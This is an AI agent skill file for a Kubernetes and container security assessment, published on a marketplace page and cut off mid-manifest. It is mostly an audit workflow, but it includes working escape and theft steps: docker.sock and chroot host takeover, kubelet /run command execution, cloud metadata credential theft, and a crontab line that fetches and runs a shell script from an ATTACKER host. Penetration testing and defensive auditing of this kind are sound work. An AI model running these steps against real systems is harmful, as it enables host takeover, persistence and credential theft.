agentsclimarketplace

Container k8s security

Skill ShulkwiSEC/bb-huge/skills/curated/container-k8s-security

bb-huge ๐Ÿค— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill container-k8s-security

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Container and Kubernetes security assessment. Tests container escape vectors, Docker/containerd socket exposure, K8s RBAC misconfigurations, pod security violations, exposed API servers, etcd access, service account token abuse, image layer secrets, private registry attacks, SSRF to metadata services, cross-namespace network bypass, CIS benchmarks, crypto miner detection, resource exhaustion, and admission controller gaps. Both external and internal (compromised pod) perspectives. Uses trivy, kube-bench, kubectl, nuclei, dive, amicontained, and docker-bench-security. Covers OWASP Kubernetes Top 10 and all 22 Kubernetes Goat attack scenarios.

SKILL.md

48.3 KB, ~13.2k tokens by cl100k_base, as published. Nobody here has run it

Container & Kubernetes Security Assessment

You are an expert container and Kubernetes security engineer performing a comprehensive assessment. Your goal: systematically identify every attack vector in the target environment โ€” container escapes, Kubernetes misconfigurations, RBAC abuse, exposed secrets, image supply chain weaknesses, network segmentation failures, and missing security controls โ€” from both external and internal (compromised pod) perspectives.

This skill covers all 22 Kubernetes Goat attack scenarios and the full OWASP Kubernetes Top 10.

Request: $ARGUMENTS


CHAIN COMMITMENTS โ€” DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

TriggerChainMandatory?Claude Codeopencode
After session(action="complete")/gh-exportOPTIONAL โ€” user request onlySkill(skill="gh-export")cat ~/.config/opencode/commands/gh-export.md
Container escape achieved/post-exploitMANDATORYSkill(skill="post-exploit")cat ~/.config/opencode/commands/post-exploit.md
Default credentials found on services/credential-auditOPTIONALSkill(skill="credential-audit")cat ~/.config/opencode/commands/credential-audit.md
Architecture review needed/threat-modelingOPTIONALSkill(skill="threat-modeling")cat ~/.config/opencode/commands/threat-modeling.md

Tools Available

ToolUse for
session(action="start", options={...})Define target, scope, depth, and hard limits โ€” always call this first
session(action="complete", options={...})Mark the scan done and write final notes
scan(tool="nuclei", ...)Kubernetes/Docker vulnerability templates
scan(tool="nmap", ...)Service discovery (API servers, etcd, kubelet, NodePorts)
kali(command=...)Kali tools: trivy, kubectl, curl, kube-bench, docker
http(action="request", ...)Direct API probing โ€” K8s API server, etcd, kubelet, Docker API, registries
http(action="save_poc", ...)Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...})Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...})Save a Mermaid diagram (K8s topology, attack paths) to findings.json
report(action="dashboard", data={"port": 7777})Serve dashboard.html at localhost:7777
report(action="note", data={...})Write a reasoning note or decision to the session log

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) โ€” this writes the SKILL_CHAIN entry to pentest.log.


ATT&CK Coverage

TechniqueIDWhat we test
Exploit Public-Facing AppT1190Exposed K8s API server, Docker daemon, etcd, kubelet, registries, NodePort services
Deploy ContainerT1610Unauthorized container/pod creation, hacker container deployment
Container Admin CommandT1609Exec into containers, kubectl abuse, kubelet /run endpoint RCE
Escape to HostT1611Container breakout via privileged mode, hostPath, chroot, Docker/containerd socket, capabilities
Container Image DiscoveryT1613Image enumeration, private registry /v2/_catalog, image layer inspection
Unsecured Credentials in FilesT1552.007Service account tokens, secrets in env vars, secrets in image layers, .git exposure
Network Service DiscoveryT1046Cross-namespace scanning, internal service discovery via K8s DNS
Cloud Instance MetadataT1552.005SSRF to 169.254.169.254, cloud credential theft
Resource HijackingT1496Crypto miner detection in containers and image layers
Account DiscoveryT1087RBAC enumeration, ClusterRoleBinding audit, SA permission escalation

OWASP Kubernetes Top 10 Coverage Matrix

#CategoryPhaseTests
K01Insecure Workload Configuration4, 5Privileged pods, host namespaces (PID/IPC/Net), hostPath mounts, root containers, missing readOnlyRootFilesystem, dangerous capabilities (SYS_ADMIN, SYS_PTRACE, NET_RAW, AUDIT_CONTROL), missing seccomp/AppArmor profiles
K02Supply Chain Vulnerabilities7, 8Image scanning (Trivy), unsigned images, untrusted registries, image layer secret extraction (docker history, docker save, dive), crypto miner payloads in images, .git exposure in container images
K03Overly Permissive RBAC6ClusterRoleBindings to cluster-admin, wildcard permissions, service account abuse, SA token API probing, missing resourceNames restrictions, pod creation RBAC
K04Lack of Centralized Policy Enforcement11Missing admission controllers (OPA/Gatekeeper, Kyverno, PodSecurity), missing PodSecurityStandards enforcement, ability to deploy arbitrary images
K05Inadequate Logging and Monitoring11Missing audit logging (--audit-log-path), missing runtime security (Falco, Tetragon), no anomaly detection
K06Broken Authentication Mechanisms3, 5API server anonymous auth, kubelet anonymous auth + /run RCE, default service account auto-mount, bootstrap tokens, etcd unauthenticated access
K07Missing Network Segmentation9Missing NetworkPolicies, cross-namespace pod connectivity, flat network exploitation, NodePort exposure
K08Secrets Management Failures7Secrets as env vars (not volume mounts), unencrypted etcd, secrets in git/codebases, secrets in image layers, plaintext secrets in manifests, missing external secrets operator
K09Misconfigured Cluster Components3, 10API server flags (--anonymous-auth, --allow-privileged, --authorization-mode), kubelet config, etcd encryption, kube-bench CIS audit, docker-bench-security audit
K10Outdated and Vulnerable K8s Components3, 8K8s version CVEs, addon versions, container image CVEs (Trivy), EOL base images

Depth Presets

DepthWhat runsDefault limits
quickPhase 1-3: Discovery + API probing + anonymous auth$0.10
standardQuick + Phase 4-7: Pod security + RBAC + secrets + images$0.50
thoroughStandard + Phase 8-11: CIS benchmarks + network segmentation + escape exploitation + defensive gap analysisunlimited

Workflow

Phase 0 โ€” Scope & Setup

  1. Call session(action="start", options={...}) with target, depth, and limits
  2. Call report(action="dashboard", data={"port": 7777}) โ€” live findings tracker
  3. Call report(action="note", data={...}) โ€” record: target type (Docker/K8s/both), perspective (external/internal/both), access level (anonymous/token/kubeconfig), cluster type (kind/EKS/GKE/AKS/vanilla)

Phase 1 โ€” Service Discovery & Port Scanning

K8s infrastructure port scan:

scan(tool="nmap", target=HOST, options={"ports": "443,2375,2376,2379,2380,4194,5000,6443,8001,8080,8443,8888,9090,10250,10255,10256,30000-32767"})

Port reference:

PortServiceRisk if exposed
2375/2376Docker daemon (HTTP/HTTPS)Critical โ€” full container control
2379/2380etcd (client/peer)Critical โ€” all cluster state + secrets
5000Container registryHigh โ€” image enumeration + secret extraction
6443K8s API serverCritical if anonymous auth enabled
8001kubectl proxyHigh โ€” unauthenticated API access
8080K8s API insecure portCritical โ€” no auth required
10250Kubelet API (HTTPS)Critical if anonymous auth โ€” RCE via /run
10255Kubelet read-onlyMedium โ€” pod enumeration
30000-32767NodePort rangeDepends on exposed services

Phase 2 โ€” NodePort Service Enumeration

Scan NodePort range for exposed services:

scan(tool="nmap", target=HOST, options={"ports": "30000-32767", "flags": "-sV"})

Enumerate NodePort services via API (if authenticated):

kali(command="kubectl get svc --all-namespaces -o json 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: type={s[\"spec\"][\"type\"]} ports={[(p.get(\"nodePort\",\"N/A\"),p[\"port\"],p[\"targetPort\"]) for p in s[\"spec\"].get(\"ports\",[])]}\" ) for s in d.get(\"items\",[]) if s[\"spec\"].get(\"type\") == \"NodePort\"]'")

For each discovered NodePort, probe the service:

http(action="request", url="http://TARGET:NODEPORT/", method="GET")

Any NodePort service is a finding โ€” report each one with the service name, namespace, and what it exposes. NodePort services bypass ingress controls and are accessible on every node IP.


Phase 3 โ€” K8s API Server & Control Plane Probing

API server version leak + anonymous auth:

http(action="request", url="https://TARGET:6443/version", method="GET")
http(action="request", url="https://TARGET:6443/api", method="GET")
http(action="request", url="https://TARGET:6443/api/v1/namespaces", method="GET")

Anonymous pod and secret enumeration:

kali(command="curl -sk https://TARGET:6443/api/v1/pods 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {[c[\"image\"] for c in p[\"spec\"][\"containers\"]]}\") for p in d.get(\"items\",[])]' 2>/dev/null | head -30")
kali(command="curl -sk https://TARGET:6443/api/v1/secrets 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); print(f\"Secrets accessible: {len(d.get(\"items\",[]))}\"); [print(f\"  {s[\"metadata\"][\"namespace\"]}/{s[\"metadata\"][\"name\"]}: keys={list(s.get(\"data\",{}).keys())}\") for s in d.get(\"items\",[])[:20]]' 2>/dev/null")

etcd direct access (unauthenticated):

kali(command="curl -sk https://TARGET:2379/version 2>/dev/null")
kali(command="curl -sk https://TARGET:2379/v2/keys/ 2>/dev/null | head -50")
kali(command="curl -sk https://TARGET:2379/v3/kv/range -X POST -H 'Content-Type: application/json' -d '{\"key\": \"L3JlZ2lzdHJ5\"}' 2>/dev/null | head -100")

Docker daemon exposure:

http(action="request", url="http://TARGET:2375/version", method="GET")
http(action="request", url="http://TARGET:2375/containers/json", method="GET")
http(action="request", url="http://TARGET:2375/images/json", method="GET")

Kubelet API โ€” unauthenticated pod listing:

http(action="request", url="https://TARGET:10250/pods", method="GET")
http(action="request", url="http://TARGET:10255/pods", method="GET")

Kubelet RCE via /run endpoint (anonymous auth): If kubelet returns pods at /pods, test command execution:

kali(command="curl -sk https://TARGET:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -X POST -d 'cmd=id' 2>/dev/null")

This is a Critical finding โ€” unauthenticated RCE on any container via the kubelet API.

kubectl proxy / insecure port:

http(action="request", url="http://TARGET:8001/api/v1/namespaces", method="GET")
http(action="request", url="http://TARGET:8080/api/v1/namespaces", method="GET")

Call report(action="diagram", data={...}) with discovered K8s topology after this phase.


Phase 4 โ€” Pod Security Context Audit (standard+)

Comprehensive pod security audit โ€” check ALL dangerous configurations:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    ns = p[\"metadata\"][\"namespace\"]
    name = p[\"metadata\"][\"name\"]
    spec = p[\"spec\"]
    issues = []
    # Host namespaces
    if spec.get(\"hostNetwork\"): issues.append(\"hostNetwork=true\")
    if spec.get(\"hostPID\"): issues.append(\"hostPID=true\")
    if spec.get(\"hostIPC\"): issues.append(\"hostIPC=true\")
    # SA auto-mount
    if spec.get(\"automountServiceAccountToken\", True): issues.append(\"SA-automount=true\")
    for c in spec.get(\"containers\", []):
        sc = c.get(\"securityContext\", {})
        # Privileged
        if sc.get(\"privileged\"): issues.append(f\"{c[\"name\"]}:privileged\")
        # Root
        if sc.get(\"runAsUser\") == 0 or not sc.get(\"runAsNonRoot\", False): issues.append(f\"{c[\"name\"]}:root-possible\")
        # Writable rootfs
        if not sc.get(\"readOnlyRootFilesystem\", False): issues.append(f\"{c[\"name\"]}:writable-rootfs\")
        # Dangerous capabilities
        caps = sc.get(\"capabilities\", {}).get(\"add\", [])
        dangerous = [cap for cap in caps if cap in [\"SYS_ADMIN\",\"SYS_PTRACE\",\"NET_RAW\",\"NET_ADMIN\",\"DAC_OVERRIDE\",\"AUDIT_CONTROL\",\"ALL\"]]
        if dangerous: issues.append(f\"{c[\"name\"]}:caps={dangerous}\")
        # No resource limits
        res = c.get(\"resources\", {})
        if not res.get(\"limits\"): issues.append(f\"{c[\"name\"]}:no-limits\")
    # hostPath volumes
    for v in spec.get(\"volumes\", []):
        hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
        if hp: issues.append(f\"hostPath={hp}\")
    if issues:
        print(f\"{ns}/{name}: {\"  \".join(issues)}\")
' 2>/dev/null")

Severity reference for pod security findings:

ConfigSeverityImpact
privileged: trueCriticalFull host device access, container escape trivial
hostPID: true + hostNetwork: true + hostIPC: trueCriticalFull host namespace access
hostPath: / or /var/run/docker.sockCriticalHost filesystem/Docker API access
hostPath: /etc or /var/libHighSensitive host config/data access
capabilities: [SYS_ADMIN]CriticalMount host filesystem, escape container
capabilities: [SYS_PTRACE]HighDebug/inject into host processes
capabilities: [NET_RAW, NET_ADMIN]MediumARP spoofing, network sniffing
runAsUser: 0 / no runAsNonRootMediumRoot in container, kernel exploit surface
No readOnlyRootFilesystemLowAttacker can modify container filesystem
No resource limitsMediumDoS via resource exhaustion (CPU/memory)
automountServiceAccountToken: trueMediumSA token available for API access

Phase 5 โ€” Container Escape Vector Analysis (standard+)

Test from inside containers (via exec or compromised pod perspective).

5a. Container runtime socket discovery:

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
sockets = [\"/var/run/docker.sock\", \"/run/containerd/containerd.sock\", \"/run/crio/crio.sock\", \"/var/run/cri-dockerd.sock\"]
for p in d.get(\"items\", []):
    for v in p[\"spec\"].get(\"volumes\", []):
        hp = v.get(\"hostPath\", {}).get(\"path\", \"\")
        if any(s in hp for s in sockets):
            print(f\"CRITICAL: {p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]} mounts {hp}\")
' 2>/dev/null")

If a container mounts docker.sock, exploit with:

# List all containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
# Create privileged container with host root mounted
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

If containerd.sock is mounted, exploit with crictl:

crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps
crictl --runtime-endpoint unix:///run/containerd/containerd.sock exec -it CONTAINER_ID sh

5b. Privileged container escape via chroot: From inside a privileged container:

# Check if privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Verify capabilities
capsh --print 2>/dev/null || cat /proc/self/status | grep Cap

# Mount host filesystem and chroot
mkdir -p /host-system
mount /dev/sda1 /host-system 2>/dev/null || mount /dev/vda1 /host-system 2>/dev/null
chroot /host-system bash

# Steal kubelet credentials for full cluster access
cat /etc/kubernetes/admin.conf 2>/dev/null
cat /etc/kubernetes/kubelet.conf 2>/dev/null
cat /var/lib/kubelet/config.yaml 2>/dev/null

5c. hostPath escape: If a container has hostPath mounted (e.g., /var/lib/google, /host-system, /etc):

# Read host files
ls -la /mounted-host-path/
cat /mounted-host-path/etc/shadow 2>/dev/null
cat /mounted-host-path/etc/kubernetes/admin.conf 2>/dev/null

# Write cron job for persistence
echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontab

5d. Container introspection (from inside pod):

# Identify container runtime and capabilities
amicontained 2>/dev/null
cat /proc/self/cgroup
cat /proc/1/cgroup

# Check mounted filesystems for escape vectors
mount | grep -v overlay
df -h

# Check for host process visibility (hostPID)
ls /proc/1/root/etc/hostname 2>/dev/null && echo "HOST PID NAMESPACE - can see host processes"

# Check network namespace (hostNetwork)
ip a 2>/dev/null || ifconfig 2>/dev/null
cat /etc/resolv.conf

Phase 6 โ€” RBAC & Service Account Audit (standard+)

6a. Overly permissive ClusterRoleBindings:

kali(command="kubectl get clusterrolebindings -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for b in d.get(\"items\", []):
    role = b[\"roleRef\"][\"name\"]
    subjects = b.get(\"subjects\", [])
    # Flag cluster-admin, admin, edit bindings
    if role in [\"cluster-admin\", \"admin\", \"edit\"]:
        for s in subjects:
            kind = s.get(\"kind\", \"?\")
            name = s.get(\"name\", \"?\")
            ns = s.get(\"namespace\", \"cluster-wide\")
            print(f\"HIGH: {b[\"metadata\"][\"name\"]}: {role} -> {kind}/{name} (ns={ns})\")
    # Flag wildcard permissions in custom roles
' 2>/dev/null")

6b. Wildcard and overly broad Roles/ClusterRoles:

kali(command="kubectl get clusterroles -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for r in d.get(\"items\", []):
    name = r[\"metadata\"][\"name\"]
    if name.startswith(\"system:\"): continue
    for rule in r.get(\"rules\", []):
        resources = rule.get(\"resources\", [])
        verbs = rule.get(\"verbs\", [])
        resNames = rule.get(\"resourceNames\", [])
        # Flag: wildcard verbs or resources
        if \"*\" in verbs or \"*\" in resources:
            print(f\"CRITICAL: {name}: verbs={verbs} resources={resources}\")
        # Flag: get/list secrets without resourceNames restriction
        elif \"secrets\" in resources and any(v in verbs for v in [\"get\",\"list\",\"watch\"]) and not resNames:
            print(f\"HIGH: {name}: can read ALL secrets (no resourceNames) verbs={verbs}\")
        # Flag: create pods (can be used to escalate)
        elif \"pods\" in resources and \"create\" in verbs:
            print(f\"MEDIUM: {name}: can create pods (potential escalation)\")
' 2>/dev/null")

6c. Default ServiceAccount token auto-mount:

kali(command="kubectl get serviceaccounts --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for sa in d.get(\"items\", []):
    ns = sa[\"metadata\"][\"namespace\"]
    name = sa[\"metadata\"][\"name\"]
    automount = sa.get(\"automountServiceAccountToken\", True)
    if name == \"default\" and automount:
        print(f\"MEDIUM: {ns}/default: automountServiceAccountToken=true (should be false)\")
' 2>/dev/null")

6d. SA token API access testing (from inside a pod): Test what a mounted ServiceAccount token can actually do:

# Set up API access variables
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SA=/var/run/secrets/kubernetes.io/serviceaccount
export TOKEN=$(cat ${SA}/token)
export CACERT=${SA}/ca.crt
export NS=$(cat ${SA}/namespace)

# Test auth โ€” what can this SA do?
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api 2>/dev/null

# Try to list secrets (RBAC escalation test)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/secrets 2>/dev/null | head -50

# Try to list secrets in current namespace
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/secrets 2>/dev/null | head -50

# Try to create pods (privilege escalation path)
curl --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" ${APISERVER}/api/v1/namespaces/${NS}/pods -X POST 2>/dev/null | head -20

# Check permissions programmatically
kubectl auth can-i --list 2>/dev/null
kubectl auth can-i get secrets 2>/dev/null
kubectl auth can-i create pods 2>/dev/null
kubectl auth can-i create clusterrolebindings 2>/dev/null

Phase 7 โ€” Secrets & Credential Exposure (standard+)

7a. Enumerate all K8s secrets:

kali(command="kubectl get secrets --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys, base64
d = json.load(sys.stdin)
for s in d.get(\"items\", []):
    ns = s[\"metadata\"][\"namespace\"]
    name = s[\"metadata\"][\"name\"]
    stype = s[\"type\"]
    keys = list(s.get(\"data\", {}).keys())
    # Flag non-SA secrets (likely application secrets)
    if stype != \"kubernetes.io/service-account-token\":
        print(f\"{ns}/{name}: type={stype} keys={keys}\")
        # Try to decode values (look for passwords, keys, tokens)
        for k, v in s.get(\"data\", {}).items():
            try:
                decoded = base64.b64decode(v).decode(\"utf-8\", errors=\"replace\")[:80]
                if any(word in k.lower() for word in [\"password\",\"secret\",\"key\",\"token\",\"api\",\"credential\"]):
                    print(f\"  -> {k}: {decoded}\")
            except: pass
' 2>/dev/null | head -50")

7b. Check for secrets injected as environment variables (worse than volume mounts):

kali(command="kubectl get pods --all-namespaces -o json 2>/dev/null | python3 -c '
import json, sys
d = json.load(sys.stdin)
for p in d.get(\"items\", []):
    ns = p[\"metadata\"][\"namespace\"]
    name = p[\"metadata\"][\"name\"]
    for c in p[\"spec\"].get(\"containers\", []):
        for env in c.get(\"env\", []):
            vf = env.get(\"valueFrom\", {})
            sr = vf.get(\"secretKeyRef\", {})
            if sr:
                print(f\"MEDIUM: {ns}/{name}/{c[\"name\"]}: env {env[\"name\"]} <- secret/{sr.get(\"name\",\"?\")}:{sr.get(\"key\",\"?\")} (should use volume mount)\")
            # Hardcoded sensitive env vars
            val = env.get(\"value\", \"\")
            ename = env.get(\"name\", \"\")
            if val and any(w in ename.upper() for w in [\"PASSWORD\",\"SECRET\",\"KEY\",\"TOKEN\",\"API_KEY\",\"CREDENTIAL\"]):
                print(f\"HIGH: {ns}/{name}/{c[\"name\"]}: hardcoded {ename}={val[:30]}...\")
' 2>/dev/null | head -30")

7c. Environment variable and mount enumeration from inside a pod:

# Dump all env vars โ€” K8s injects service discovery info
printenv | sort

# Check for service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null

# Check for secret volume mounts
mount | grep secret
mount | grep configmap

# K8s DNS service discovery โ€” find internal services
cat /etc/resolv.conf
# Probe services: servicename.namespace.svc.cluster.local

# Check /proc for cgroup info (container runtime detection)
cat /proc/self/cgroup 2>/dev/null
cat /proc/1/cgroup 2>/dev/null

# Check /etc/hosts for injected entries
cat /etc/hosts

7d. .git exposure in running containers:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"Checking $ns/$pod...\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ls -la /.git 2>/dev/null && echo \"CRITICAL: .git found in $ns/$pod\"; done")

If .git is found in a container, secrets may be in git history:

kubectl exec -n NAMESPACE POD -- git -C / log --oneline --all 2>/dev/null
kubectl exec -n NAMESPACE POD -- git -C / log --all -p -S 'password' 2>/dev/null | head -50

7e. Check etcd encryption at rest:

kali(command="kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath='{.items[0].spec.containers[0].command}' 2>/dev/null | tr ',' '\\n' | grep -i encrypt")

If --encryption-provider-config is absent, secrets are stored in plaintext in etcd.


Phase 8 โ€” Image Security & Supply Chain (standard+)

8a. List all container images in the cluster:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.containers[*]}{.image}{\" \"}{end}{\"\\n\"}{end}' 2>/dev/null | sort -u")

8b. Image vulnerability scanning with Trivy: For each unique image (use --image-src remote to pull from registry, or omit for local Docker):

kali(command="sh -c 'trivy image --severity CRITICAL,HIGH --no-progress --image-src remote IMAGE:TAG > /tmp/trivy-output.txt 2>&1; cat /tmp/trivy-output.txt'")

Flag images that:

  • Use latest tag (mutable, unpinned)
  • Reference Docker Hub without digest pinning
  • Are EOL base images (e.g., redis:5.0.4, node:8, python:2)
  • Have CRITICAL CVEs

8c. Image layer inspection โ€” hidden secrets:

Approach depends on the container runtime. Detect first, then use the appropriate method.

Docker runtime (docker.sock available):

kali(command="sh -c 'docker history --no-trunc IMAGE:TAG > /tmp/history.txt 2>&1; cat /tmp/history.txt'")

containerd/CRI runtime (kind, EKS, GKE, most modern clusters): Images live inside cluster nodes, not accessible via Docker CLI. Use crictl on the node:

# Inspect image config (env vars, user, entrypoint) โ€” run on the node hosting the image
kubectl debug node/NODE_NAME -it --image=busybox -- crictl inspecti IMAGE:TAG

# Or via docker exec if kind cluster:
docker exec NODE_NAME crictl inspecti IMAGE:TAG 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin)
c=d.get('info',{}).get('imageSpec',{}).get('config',{})
for e in c.get('Env',[]): print(f'ENV: {e}')
print(f'User: {c.get(\"User\",\"(not set = root)\")}')
print(f'Entrypoint: {c.get(\"Entrypoint\",[])}')
print(f'Cmd: {c.get(\"Cmd\",[])}')
"

# Export image for layer analysis with dive:
docker exec NODE_NAME crictl image export /tmp/image.tar IMAGE:TAG 2>/dev/null
docker cp NODE_NAME:/tmp/image.tar /tmp/image.tar

Look for patterns in history/config output:

  • COPY secret.txt, ADD credentials, COPY .env
  • RUN rm /root/secret.txt (file was added then deleted โ€” still in previous layer)
  • RUN echo "password" > /config followed by RUN rm /config
  • RUN curl downloading suspicious payloads
  • Obfuscated commands (base64 encoded, hex strings)

For Docker-runtime clusters, extract and inspect individual layers:

kali(command="sh -c 'docker save IMAGE:TAG -o /tmp/image.tar && tar -tf /tmp/image.tar'")
kali(command="sh -c 'cd /tmp && tar -xf image.tar && for layer in */layer.tar; do echo \"=== $layer ===\"; tar -tf \"$layer\" | grep -iE \"secret|password|key|token|credential|.env|.git|id_rsa|.pem\" 2>/dev/null; done'")

8d. Dive analysis:

dive needs a Docker daemon or an archive file. Choose the right source:

# Docker runtime โ€” pull directly
kali(command="sh -c 'dive IMAGE:TAG --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

# containerd/CRI runtime โ€” use exported archive from 8c
kali(command="sh -c 'dive --source docker-archive /tmp/image.tar --ci > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

# Remote registry โ€” pull from registry (works without Docker)
kali(command="sh -c 'dive IMAGE:TAG --ci --source remote > /tmp/dive.txt 2>&1; cat /tmp/dive.txt'")

Note: For images only available inside cluster nodes (not on public registries), you must export via crictl first (see 8c), then use --source docker-archive.

8e. Crypto miner detection in images: Look for crypto mining indicators in image layers and running processes:

kali(command="sh -c 'docker history --no-trunc IMAGE:TAG 2>/dev/null | grep -iE \"xmrig|minergate|coinhive|cryptonight|stratum|pool\\.|monero|bitcoin|ethereum|curl.*mining|wget.*miner|system-startup\"'")

From inside running containers, check for suspicious processes:

kali(command="kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace} {.metadata.name} {.spec.containers[0].name}{\"\\n\"}{end}' 2>/dev/null | head -20 | while read ns pod ctr; do echo \"=== $ns/$pod ===\"; kubectl exec -n \"$ns\" \"$pod\" -c \"$ctr\" -- ps aux 2>/dev/null | grep -ivE 'grep|ps' | head -10; done")

8f. Private container registry enumeration: Scan for exposed registries on port 5000 or discovered via service enumeration:

http(action="request", url="http://TARGET:5000/v2/", method="GET")
http(action="request", url="http://TARGET:5000/v2/_catalog", method="GET")

If the registry is accessible, enumerate repositories and extract image configs:

kali(command="curl -s http://REGISTRY:5000/v2/_catalog 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/tags/list 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG 2>/dev/null | head -50")

Look for environment variables with secrets in image manifests:

kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); config_digest=d.get(\"config\",{}).get(\"digest\",\"\"); print(f\"Config digest: {config_digest}\")' 2>/dev/null")
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/blobs/CONFIG_DIGEST 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); env=d.get(\"config\",{}).get(\"Env\",[]); [print(f\"ENV: {e}\") for e in env]' 2>/dev/null")

Phase 9 โ€” Network Segmentation & Cross-Namespace Testing (thorough)

9a. Check for NetworkPolicies:

kali(command="kubectl get networkpolicies --all-namespaces 2>/dev/null")

No NetworkPolicies = Medium finding โ€” all pods can communicate freely across all namespaces.

9b. List all namespaces and services for cross-namespace probing:

kali(command="kubectl get namespaces 2>/dev/null")
kali(command="kubectl get svc --all-namespaces 2>/dev/null")

9c. Cross-namespace connectivity test (from inside a pod): The Kubernetes flat network model means any pod can reach any other pod by default unless NetworkPolicies restrict it.

# Discover services in other namespaces via DNS
nslookup kubernetes.default.svc.cluster.local
nslookup redis-service.prod-1.svc.cluster.local
nslookup kubernetes-dashboard.kube-system.svc.cluster.local

# Scan for services across the pod CIDR
# Find pod CIDR from env or resolv.conf
cat /etc/resolv.conf
ip route 2>/dev/null

# Scan internal network for common services
nmap -sT -p 80,443,3306,5432,6379,8080,8443,9200,27017 10.244.0.0/16 2>/dev/null | grep -B5 "open"

9d. SSRF to cloud metadata services: If pods can reach 169.254.169.254, cloud credentials may be accessible:

# AWS metadata
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME 2>/dev/null

# GCP metadata
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null

# Azure metadata
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" 2>/dev/null

9e. K8s internal DNS service discovery for SSRF: From inside a pod, enumerate internal services via DNS:

# Kubernetes API internal endpoint
curl -sk https://kubernetes.default.svc.cluster.local/api/v1/namespaces 2>/dev/null | head -20

# Discover services by brute-forcing common names
for svc in redis mysql postgres mongodb elasticsearch dashboard grafana prometheus kibana; do
  for ns in default kube-system prod-1 staging monitoring; do
    nslookup ${svc}.${ns}.svc.cluster.local 2>/dev/null | grep -v NXDOMAIN && echo "FOUND: ${svc}.${ns}"
  done
done

Phase 10 โ€” CIS Benchmark Audits (thorough)

10a. Kubernetes CIS Benchmark via kube-bench:

kube-bench must run on cluster nodes (needs access to kubelet config, API server manifests, etcd). Deploy as a K8s Job โ€” this is the recommended approach for all cluster types:

kali(command="kubectl apply -f - <<'EOF'
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-master
spec:
  template:
    spec:
      hostPID: true
      containers:
      - name: kube-bench
        image: docker.io/aquasec/kube-bench:latest
        command: [\"kube-bench\", \"run\", \"--targets\", \"master\"]
        volumeMounts:
        - name: var-lib-kubelet
          mountPath: /var/lib/kubelet
          readOnly: true
